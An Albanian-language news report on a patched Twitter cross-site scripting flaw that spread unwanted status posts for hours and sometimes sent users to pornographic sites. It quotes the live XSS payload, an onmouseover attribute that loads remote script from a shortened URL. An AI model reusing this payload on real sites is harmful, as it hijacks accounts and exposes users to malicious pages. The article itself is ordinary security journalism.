Përmirësohet lëshimi në Twitter

Gjatë mëngjesit të sotëm është gjetur lëshimi në shërbimin për mikro-blogje dhe rrjetin për shoqërim Twitter i cili shpërndahej pandalshëm për orë të tëra, mirëpo tani nga Twitter raportojnë se problemi është zgjidhur.
Siç edhe iu kemi raportuar, Twitter tërë mëngjesin e djeshëm ishte stërngarkuar me porosi të shumta të statusit me përmbajtje të dyshuara të cilat po shpërndaheshin pandalshëm, madje edhe nëse përdoruesi nuk bënte asgjë tjetër pos që kyçej në llogarinë e tij në Twitter.

Shembulli i porosisë kontestuese duket kështu:

http://t.co/@"style="font-size:999999999999px;

"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/

Ashtu siç edhe raportuam dje, mjaftonte që përdoruesit të kalonin me miun e kompjuterit mbi një lidhje të tillë të internetit për të aktivizuar kodin dashakeq. Në disa raste, përdoruesit merrnin vetëm ndonjë porosi të kotë, e në rastet tjera skripti i drejtonte ata tek ndonjë faqe pornografike apo të ngjashme.

Pas disa orësh kaosi të përgjithshëm në Twitter, të ngarkuar me mijëra porosi statusi të cilat përdoruesit nuk i kishin publikuar vet, nga Twitter lajmërojnë se kanë arnuar lëshimin. Kjo është njëra prej pikave më të zeza në historinë e Twitterit, i cili ndryshe njihet për nivel të lartë të sigurisë dhe stabilitetit.